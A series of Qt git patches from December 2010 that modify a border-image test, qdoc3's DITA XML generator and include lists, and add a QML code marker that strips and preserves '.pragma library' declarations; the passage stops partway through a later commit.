a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp index 2f00f60..5478145 100644 --- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp +++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp @@ -153,6 +153,8 @@ void tst_qdeclarativeborderimage::imageSource() QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Ready); QCOMPARE(obj->width(), 120.); QCOMPARE(obj->height(), 120.); + QCOMPARE(obj->sourceSize().width(), 120); + QCOMPARE(obj->sourceSize().height(), 120); QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch); QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch); } else { @@ -192,6 +194,8 @@ void tst_qdeclarativeborderimage::resized() QVERIFY(obj != 0); QCOMPARE(obj->width(), 300.); QCOMPARE(obj->height(), 300.); + QCOMPARE(obj->sourceSize().width(), 120); + QCOMPARE(obj->sourceSize().height(), 120); QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch); QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch); -- cgit v0.12 From 6f1e732ff0838461be262fa0b86697fab5d8f5b2 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 3 Dec 2010 14:39:30 +0100 Subject: Minor housekeeping changes. --- tools/qdoc3/jscodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp index e3a0ff1..8b6a31d 100644 --- a/tools/qdoc3/jscodemarker.cpp +++ b/tools/qdoc3/jscodemarker.cpp @@ -107,7 +107,7 @@ QString JsCodeMarker::markedUpCode(const QString &code, QString JsCodeMarker::addMarkUp(const QString &code, const Node * /* relative */, - const QString &dirPath) + const QString & /* dirPath */) { QDeclarativeJS::Engine engine; QDeclarativeJS::Lexer lexer(&engine); -- cgit v0.12 From b5915ef3a6d0417440ad82e9369d6679505b953e Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 6 Dec 2010 15:34:19 +0100 Subject: qdoc: Fixed some reported bugs in the XML. --- tools/qdoc3/ditaxmlgenerator.cpp | 69 +++++++++++++++++------------------- tools/qdoc3/test/qt-ditaxml.qdocconf | 8 ++++- 2 files changed, 39 insertions(+), 38 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index d4285a8..b4a42ab 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -714,27 +714,24 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::Code: { - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("codeblock"); QString chars = trimmedTrailing(atom->string()); writeText(chars, marker, relative); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::Qml: - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("codeblock"); writeText(trimmedTrailing(atom->string()), marker, relative); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::CodeNew: xmlWriter().writeStartElement("p"); xmlWriter().writeCharacters("you can rewrite it as"); xmlWriter().writeEndElement(); //

    - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("codeblock"); writeText(trimmedTrailing(atom->string()), marker, relative); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::CodeOld: xmlWriter().writeStartElement("p"); @@ -742,10 +739,9 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); //

    // fallthrough case Atom::CodeBad: - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); - xmlWriter().writeCharacters(trimmedTrailing(protectEnc(plainCode(atom->string())))); - xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("codeblock"); + xmlWriter().writeCharacters(trimmedTrailing(plainCode(atom->string()))); + xmlWriter().writeEndElement(); // break; case Atom::FootnoteLeft: // ### For now @@ -1043,30 +1039,30 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->next() != 0) text = atom->next()->string(); if (fileName.isEmpty()) { - xmlWriter().writeStartElement("b"); - xmlWriter().writeAttribute("outputclass","error"); - xmlWriter().writeCharacters("[Missing image: "); - xmlWriter().writeCharacters(protectEnc(atom->string())); - xmlWriter().writeEndElement(); // + /* + Don't bother outputting an error message. + Just output the href as if the image is in + the images directory... + */ + fileName = QLatin1String("images/") + protectEnc(atom->string()); } + + xmlWriter().writeStartElement("fig"); + xmlWriter().writeStartElement("image"); + xmlWriter().writeAttribute("href",protectEnc(fileName)); + if (atom->type() == Atom::InlineImage) + xmlWriter().writeAttribute("placement","inline"); else { - xmlWriter().writeStartElement("fig"); - xmlWriter().writeStartElement("image"); - xmlWriter().writeAttribute("href",protectEnc(fileName)); - if (atom->type() == Atom::InlineImage) - xmlWriter().writeAttribute("placement","inline"); - else { - xmlWriter().writeAttribute("placement","break"); - xmlWriter().writeAttribute("align","center"); - } - if (!text.isEmpty()) { - xmlWriter().writeStartElement("alt"); - xmlWriter().writeCharacters(protectEnc(text)); - xmlWriter().writeEndElement(); // - } - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // + xmlWriter().writeAttribute("placement","break"); + xmlWriter().writeAttribute("align","center"); + } + if (!text.isEmpty()) { + xmlWriter().writeStartElement("alt"); + xmlWriter().writeCharacters(protectEnc(text)); + xmlWriter().writeEndElement(); // } + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::ImageText: @@ -2263,10 +2259,9 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) void DitaXmlGenerator::generateIncludes(const InnerNode* inner, CodeMarker* marker) { if (!inner->includes().isEmpty()) { - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("codeblock"); writeText(marker->markedUpIncludes(inner->includes()), marker, inner); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } } diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index 63baead..1feb2b2 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -2,7 +2,8 @@ include(qt.qdocconf) imagedirs = $QTDIR/doc/src/images \ $QTDIR/examples \ - $QTDIR/doc/src/template/images + $QTDIR/doc/src/declarative/pics \ + $QTDIR/doc/src/template/images outputdir = $QTDIR/doc/ditaxml outputformats = DITAXML @@ -40,3 +41,8 @@ macro.begincomment = "\\c{/*}" macro.endcomment = "\\c{*/}" macro.uuml.DITAXML = "ü" macro.mdash.DITAXML = "—" + +macro.beginfloatleft.HTML = " " +macro.beginfloatright.HTML = " " +macro.endfloat.HTML = " " +macro.clearfloat.HTML = " " -- cgit v0.12 From 94cccc8b971eda3e0330950111c7988f3dd87309 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 6 Dec 2010 18:48:51 +0100 Subject: Removed QDebug includes. --- tools/qdoc3/helpprojectwriter.cpp | 2 -- tools/qdoc3/tokenizer.cpp | 1 - tools/qdoc3/tree.cpp | 1 - 3 files changed, 4 deletions(-) diff --git a/tools/qdoc3/helpprojectwriter.cpp b/tools/qdoc3/helpprojectwriter.cpp index 63e8df7..6253c58 100644 --- a/tools/qdoc3/helpprojectwriter.cpp +++ b/tools/qdoc3/helpprojectwriter.cpp @@ -41,7 +41,6 @@ #include #include -//#include #include "atom.h" #include "helpprojectwriter.h" @@ -49,7 +48,6 @@ #include "config.h" #include "node.h" #include "tree.h" -#include QT_BEGIN_NAMESPACE diff --git a/tools/qdoc3/tokenizer.cpp b/tools/qdoc3/tokenizer.cpp index 05ad5ee..6e7da20 100644 --- a/tools/qdoc3/tokenizer.cpp +++ b/tools/qdoc3/tokenizer.cpp @@ -42,7 +42,6 @@ #include "config.h" #include "tokenizer.h" -#include #include #include #include diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 20c1373..ceb1f0f 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -54,7 +54,6 @@ #include "tree.h" #include -#include QT_BEGIN_NAMESPACE -- cgit v0.12 From 6834727fff1f74e15b2c9f25af1845e7f529afaa Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 6 Dec 2010 18:49:17 +0100 Subject: Forced the \qml command to use the QML code marker. --- tools/qdoc3/doc.cpp | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 4152207..f153dfb 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -549,7 +549,7 @@ void DocParser::parse(const QString& source, #ifdef QDOC_QML case CMD_QML: leavePara(); - append(Atom::Qml, getCode(CMD_QML, marker)); + append(Atom::Qml, getCode(CMD_QML, CodeMarker::markerForLanguage(QLatin1String("QML")))); break; case CMD_QMLTEXT: append(Atom::QmlText); @@ -2252,7 +2252,8 @@ QString DocParser::getCode(int cmd, CodeMarker *marker) if (indent < minIndent) minIndent = indent; code = unindent(minIndent, code); - marker = CodeMarker::markerForCode(code); + if (!marker) + marker = CodeMarker::markerForCode(code); return marker->markedUpCode(code, 0, ""); } -- cgit v0.12 From bb6d5d9eb2a40de14ab3a41fbdaf4092c1a3b4e8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 6 Dec 2010 18:52:38 +0100 Subject: Added missing qmlcodemarker.cpp and qmlcodemarker.h files. Added code to remove pragmas before parsing and add them to the output. The extractPragmas() function was copied into both qmlcodeparser.cpp and qmlcodemarker.cpp from src/declarative/qml/qdeclarativescriptparser.cpp, and was modified to return either nothing (for the API parser) or a list of removed pragmas (for the code marker). --- tools/qdoc3/jscodemarker.cpp | 14 +- tools/qdoc3/qmlcodemarker.cpp | 287 +++++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlcodemarker.h | 85 ++++++++++++ tools/qdoc3/qmlcodeparser.cpp | 71 +++++++++- tools/qdoc3/qmlcodeparser.h | 3 + tools/qdoc3/qmlmarkupvisitor.cpp | 75 +++++++--- tools/qdoc3/qmlmarkupvisitor.h | 13 +- 7 files changed, 523 insertions(+), 25 deletions(-) create mode 100644 tools/qdoc3/qmlcodemarker.cpp create mode 100644 tools/qdoc3/qmlcodemarker.h diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp index 8b6a31d..84a28c6 100644 --- a/tools/qdoc3/jscodemarker.cpp +++ b/tools/qdoc3/jscodemarker.cpp @@ -75,7 +75,10 @@ bool JsCodeMarker::recognizeCode(const QString &code) QDeclarativeJS::Lexer lexer(&engine); QDeclarativeJS::Parser parser(&engine); QDeclarativeJS::NodePool m_nodePool("", &engine); - lexer.setCode(code, 1); + + QString newCode = code; + QList pragmas = extractPragmas(newCode); + lexer.setCode(newCode, 1); return parser.parseProgram(); } @@ -111,7 +114,10 @@ QString JsCodeMarker::addMarkUp(const QString &code, { QDeclarativeJS::Engine engine; QDeclarativeJS::Lexer lexer(&engine); - lexer.setCode(code, 1); + + QString newCode = code; + QList pragmas = extractPragmas(newCode); + lexer.setCode(newCode, 1); QDeclarativeJS::Parser parser(&engine); QDeclarativeJS::NodePool m_nodePool("", &engine); @@ -119,7 +125,9 @@ QString JsCodeMarker::addMarkUp(const QString &code, if (parser.parseProgram()) { QDeclarativeJS::AST::Node *ast = parser.rootNode(); - QmlMarkupVisitor visitor(code, &engine); + // Pass the unmodified code to the visitor so that pragmas and other + // unhandled source text can be output. + QmlMarkupVisitor visitor(code, pragmas, &engine); QDeclarativeJS::AST::Node::accept(ast, &visitor); output = visitor.markedUpCode(); } diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp new file mode 100644 index 0000000..1e4ad1e --- /dev/null +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -0,0 +1,287 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodemarker.cpp +*/ + +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "private/qdeclarativejsengine_p.h" +#include "private/qdeclarativejslexer_p.h" +#include "private/qdeclarativejsnodepool_p.h" +#include "private/qdeclarativejsparser_p.h" + +#include "atom.h" +#include "node.h" +#include "qmlcodemarker.h" +#include "qmlmarkupvisitor.h" +#include "text.h" +#include "tree.h" + +QT_BEGIN_NAMESPACE + +QmlCodeMarker::QmlCodeMarker() +{ +} + +QmlCodeMarker::~QmlCodeMarker() +{ +} + +/*! + Returns true if the \a code is recognized by the parser. + */ +bool QmlCodeMarker::recognizeCode(const QString &code) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("", &engine); + + QString newCode = code; + extractPragmas(newCode); + lexer.setCode(newCode, 1); + + return parser.parse(); +} + +/*! + Returns true if \a ext is any of a list of file extensions + for the QML language. + */ +bool QmlCodeMarker::recognizeExtension(const QString &ext) +{ + return ext == "qml"; +} + +/*! + Returns true if the \a language is recognized. Only "QML" is + recognized by this marker. + */ +bool QmlCodeMarker::recognizeLanguage(const QString &language) +{ + return language == "QML"; +} + +/*! + Returns the name of the \a node. Method names include are returned with a + trailing set of parentheses. + */ +QString QmlCodeMarker::plainName(const Node *node) +{ + QString name = node->name(); + if (node->type() == Node::QmlMethod) + name += "()"; + return name; +} + +QString QmlCodeMarker::plainFullName(const Node *node, const Node *relative) +{ + if (node->name().isEmpty()) { + return "global"; + } + else { + QString fullName; + while (node) { + fullName.prepend(plainName(node)); + if (node->parent() == relative || node->parent()->name().isEmpty()) + break; + fullName.prepend("::"); + node = node->parent(); + } + return fullName; + } +} + +QString QmlCodeMarker::markedUpCode(const QString &code, + const Node *relative, + const QString &dirPath) +{ + return addMarkUp(code, relative, dirPath); +} + +QString QmlCodeMarker::markedUpName(const Node *node) +{ + QString name = linkTag(node, taggedNode(node)); + if (node->type() == Node::QmlMethod) + name += "()"; + return name; +} + +QString QmlCodeMarker::markedUpFullName(const Node *node, const Node *relative) +{ + if (node->name().isEmpty()) { + return "global"; + } + else { + QString fullName; + for (;;) { + fullName.prepend(markedUpName(node)); + if (node->parent() == relative || node->parent()->name().isEmpty()) + break; + fullName.prepend("<@op>::"); + node = node->parent(); + } + return fullName; + } +} + +QString QmlCodeMarker::markedUpIncludes(const QStringList& includes) +{ + QString code; + + QStringList::ConstIterator inc = includes.begin(); + while (inc != includes.end()) { + code += "import " + *inc + "\n"; + ++inc; + } + return protect(addMarkUp(code, 0, "")); +} + +QString QmlCodeMarker::functionBeginRegExp(const QString& funcName) +{ + return "^" + QRegExp::escape("function " + funcName) + "$"; + +} + +QString QmlCodeMarker::functionEndRegExp(const QString& /* funcName */) +{ + return "^\\}$"; +} + +QString QmlCodeMarker::addMarkUp(const QString &code, + const Node * /* relative */, + const QString & /* dirPath */) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + + QString newCode = code; + QList pragmas = extractPragmas(newCode); + lexer.setCode(newCode, 1); + + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("", &engine); + QString output; + + if (parser.parse()) { + QDeclarativeJS::AST::UiProgram *ast = parser.ast(); + // Pass the unmodified code to the visitor so that pragmas and other + // unhandled source text can be output. + QmlMarkupVisitor visitor(code, pragmas, &engine); + QDeclarativeJS::AST::Node::accept(ast, &visitor); + output = visitor.markedUpCode(); + } + return output; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp. +*/ +static void replaceWithSpace(QString &str, int idx, int n) +{ + QChar *data = str.data() + idx; + const QChar space(QLatin1Char(' ')); + for (int ii = 0; ii < n; ++ii) + *data++ = space; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then +modified to return a list of removed pragmas. + +Searches for ".pragma " declarations within \a script. Currently supported pragmas +are: + library +*/ +QList QmlCodeMarker::extractPragmas(QString &script) +{ + const QString pragma(QLatin1String("pragma")); + const QString library(QLatin1String("library")); + QList removed; + + QDeclarativeJS::Lexer l(0); + l.setCode(script, 0); + + int token = l.lex(); + + while (true) { + if (token != QDeclarativeJSGrammar::T_DOT) + return removed; + + int startOffset = l.tokenOffset(); + int startLine = l.currentLineNo(); + int startColumn = l.currentColumnNo(); + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine || + script.mid(l.tokenOffset(), l.tokenLength()) != pragma) + return removed; + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine) + return removed; + + QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength()); + int endOffset = l.tokenLength() + l.tokenOffset(); + + token = l.lex(); + if (l.currentLineNo() == startLine) + return removed; + + if (pragmaValue == QLatin1String("library")) { + replaceWithSpace(script, startOffset, endOffset - startOffset); + removed.append( + QDeclarativeJS::AST::SourceLocation( + startOffset, endOffset - startOffset, + startLine, startColumn)); + } else + return removed; + } + return removed; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlcodemarker.h b/tools/qdoc3/qmlcodemarker.h new file mode 100644 index 0000000..68e6753 --- /dev/null +++ b/tools/qdoc3/qmlcodemarker.h @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodemarker.h +*/ + +#ifndef QMLCODEMARKER_H +#define QMLCODEMARKER_H + +#include "private/qdeclarativejsastfwd_p.h" +#include "cppcodemarker.h" + +QT_BEGIN_NAMESPACE + +class QmlCodeMarker : public CppCodeMarker +{ +public: + QmlCodeMarker(); + ~QmlCodeMarker(); + + virtual bool recognizeCode(const QString &code); + virtual bool recognizeExtension(const QString &ext); + virtual bool recognizeLanguage(const QString &language); + virtual QString plainName(const Node *node); + virtual QString plainFullName(const Node *node, const Node *relative); + virtual QString markedUpCode(const QString &code, + const Node *relative, + const QString &dirPath); + + virtual QString markedUpName(const Node *node); + virtual QString markedUpFullName(const Node *node, const Node *relative); + virtual QString markedUpIncludes(const QStringList &includes); + virtual QString functionBeginRegExp(const QString &funcName); + virtual QString functionEndRegExp(const QString &funcName); + + /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */ + QList extractPragmas(QString &script); + +private: + QString addMarkUp(const QString &code, const Node * /* relative */, + const QString & /* dirPath */); +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/qmlcodeparser.cpp b/tools/qdoc3/qmlcodeparser.cpp index 329912c..9c1d4ee 100644 --- a/tools/qdoc3/qmlcodeparser.cpp +++ b/tools/qdoc3/qmlcodeparser.cpp @@ -118,7 +118,10 @@ void QmlCodeParser::parseSourceFile(const Location& location, in.close(); Location fileLocation(filePath); - lexer->setCode(document, 1); + + QString newCode = document; + extractPragmas(newCode); + lexer->setCode(newCode, 1); QSet topicCommandsAllowed = topicCommands(); QSet otherMetacommandsAllowed = otherMetaCommands(); @@ -129,7 +132,7 @@ void QmlCodeParser::parseSourceFile(const Location& location, if (parser->parse()) { QDeclarativeJS::AST::UiProgram *ast = parser->ast(); - QmlDocVisitor visitor(filePath, document, &engine, tree, metacommandsAllowed); + QmlDocVisitor visitor(filePath, newCode, &engine, tree, metacommandsAllowed); QDeclarativeJS::AST::Node::accept(ast, &visitor); } } @@ -165,4 +168,68 @@ QSet QmlCodeParser::otherMetaCommands() << COMMAND_QMLDEFAULT; } +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp. +*/ +static void replaceWithSpace(QString &str, int idx, int n) +{ + QChar *data = str.data() + idx; + const QChar space(QLatin1Char(' ')); + for (int ii = 0; ii < n; ++ii) + *data++ = space; +} + +/* +Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then +modified to return no values. + +Searches for ".pragma " declarations within \a script. Currently supported pragmas +are: + library +*/ +void QmlCodeParser::extractPragmas(QString &script) +{ + const QString pragma(QLatin1String("pragma")); + const QString library(QLatin1String("library")); + + QDeclarativeJS::Lexer l(0); + l.setCode(script, 0); + + int token = l.lex(); + + while (true) { + if (token != QDeclarativeJSGrammar::T_DOT) + return; + + int startOffset = l.tokenOffset(); + int startLine = l.currentLineNo(); + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine || + script.mid(l.tokenOffset(), l.tokenLength()) != pragma) + return; + + token = l.lex(); + + if (token != QDeclarativeJSGrammar::T_IDENTIFIER || + l.currentLineNo() != startLine) + return; + + QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength()); + int endOffset = l.tokenLength() + l.tokenOffset(); + + token = l.lex(); + if (l.currentLineNo() == startLine) + return; + + if (pragmaValue == QLatin1String("library")) + replaceWithSpace(script, startOffset, endOffset - startOffset); + else + return; + } + return; +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlcodeparser.h b/tools/qdoc3/qmlcodeparser.h index a99e8a3..bbacd72 100644 --- a/tools/qdoc3/qmlcodeparser.h +++ b/tools/qdoc3/qmlcodeparser.h @@ -75,6 +75,9 @@ public: const QString& filePath, Tree *tree); virtual void doneParsingSourceFiles(Tree *tree); + /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */ + void extractPragmas(QString &script); + protected: virtual QSet topicCommands(); virtual QSet otherMetaCommands(); diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 907b95d..6bede96 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -49,12 +49,42 @@ QT_BEGIN_NAMESPACE -QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine *engine) +QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, + const QList &pragmas, + QDeclarativeJS::Engine *engine) { this->source = source; this->engine = engine; + cursor = 0; - commentIndex = 0; + extraIndex = 0; + + // Merge the lists of locations of pragmas and comments in the source code. + int i = 0; + int j = 0; + while (i < engine->comments().length() && j < pragmas.length()) { + if (engine->comments()[i].offset < pragmas[j].offset) { + extraTypes.append(Comment); + extraLocations.append(engine->comments()[i]); + ++i; + } else { + extraTypes.append(Pragma); + extraLocations.append(engine->comments()[j]); + ++j; + } + } + + while (i < engine->comments().length()) { + extraTypes.append(Comment); + extraLocations.append(engine->comments()[i]); + ++i; + } + + while (j < pragmas.length()) { + extraTypes.append(Pragma); + extraLocations.append(pragmas[j]); + ++j; + } } QmlMarkupVisitor::~QmlMarkupVisitor() @@ -96,7 +126,7 @@ QString QmlMarkupVisitor::markedUpCode() void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish) { - if (commentIndex >= engine->comments().length()) { + if (extraIndex >= extraLocations.length()) { QString extra = source.mid(start, finish - start); if (extra.trimmed().isEmpty()) output += extra; @@ -107,28 +137,37 @@ void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish) return; } - while (commentIndex < engine->comments().length()) { - if (engine->comments()[commentIndex].offset - 2 >= start) - break; - commentIndex++; + while (extraIndex < extraLocations.length()) { + if (extraTypes[extraIndex] == Comment) { + if (extraLocations[extraIndex].offset - 2 >= start) + break; + } else { + if (extraLocations[extraIndex].offset >= start) + break; + } + extraIndex++; } quint32 i = start; - while (i < finish && commentIndex < engine->comments().length()) { - quint32 j = engine->comments()[commentIndex].offset - 2; + while (i < finish && extraIndex < extraLocations.length()) { + quint32 j = extraLocations[extraIndex].offset - 2; if (i <= j && j < finish) { if (i < j) output += protect(source.mid(i, j - i)); - quint32 l = engine->comments()[commentIndex].length; - if (source.mid(j, 2) == QLatin1String("/*")) - l += 4; - else - l += 2; - output += QLatin1String("<@comment>"); - output += protect(source.mid(j, l)); - output += QLatin1String(""); - commentIndex++; + quint32 l = extraLocations[extraIndex].length; + if (extraTypes[extraIndex] == Comment) { + if (source.mid(j, 2) == QLatin1String("/*")) + l += 4; + else + l += 2; + output += QLatin1String("<@comment>"); + output += protect(source.mid(j, l)); + output += QLatin1String(""); + } else + output += protect(source.mid(j, l)); + + extraIndex++; i = j + l; } else break; diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 35f1b5bc..7a9ff22 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -52,7 +52,14 @@ QT_BEGIN_NAMESPACE class QmlMarkupVisitor : public QDeclarativeJS::AST::Visitor { public: - QmlMarkupVisitor(const QString &code, QDeclarativeJS::Engine *engine); + enum ExtraType{ + Comment, + Pragma + }; + + QmlMarkupVisitor(const QString &code, + const QList &pragmas, + QDeclarativeJS::Engine *engine); virtual ~QmlMarkupVisitor(); QString markedUpCode(); @@ -160,10 +167,12 @@ private: QString sourceText(QDeclarativeJS::AST::SourceLocation &location); QDeclarativeJS::Engine *engine; + QList extraTypes; + QList extraLocations; QString source; QString output; quint32 cursor; - quint32 commentIndex; + int extraIndex; }; QT_END_NAMESPACE -- cgit v0.12 From 3b9674c720a8aca2558a344e9ca08219687afc91 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 6 Dec 2010 19:03:14 +0100 Subject: Added an intermediate version of the QML code marker. --- tools/qdoc3/qmlcodemarker.cpp | 378 ++++++++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlcodemarker.h | 79 +++++++++ 2 files changed, 457 insertions(+) create mode 100644 tools/qdoc3/qmlcodemarker.cpp create mode 100644 tools/qdoc3/qmlcodemarker.h diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp new file mode 100644 index 0000000..6a69136 --- /dev/null +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -0,0 +1,378 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodemarker.cpp +*/ + +#include "node.h" +#include "qmlcodemarker.h" + +QT_BEGIN_NAMESPACE + +QmlCodeMarker::QmlCodeMarker() +{ +} + +QmlCodeMarker::~QmlCodeMarker() +{ +} + +bool QmlCodeMarker::recognizeCode( const QString& /* code */ ) +{ + return true; 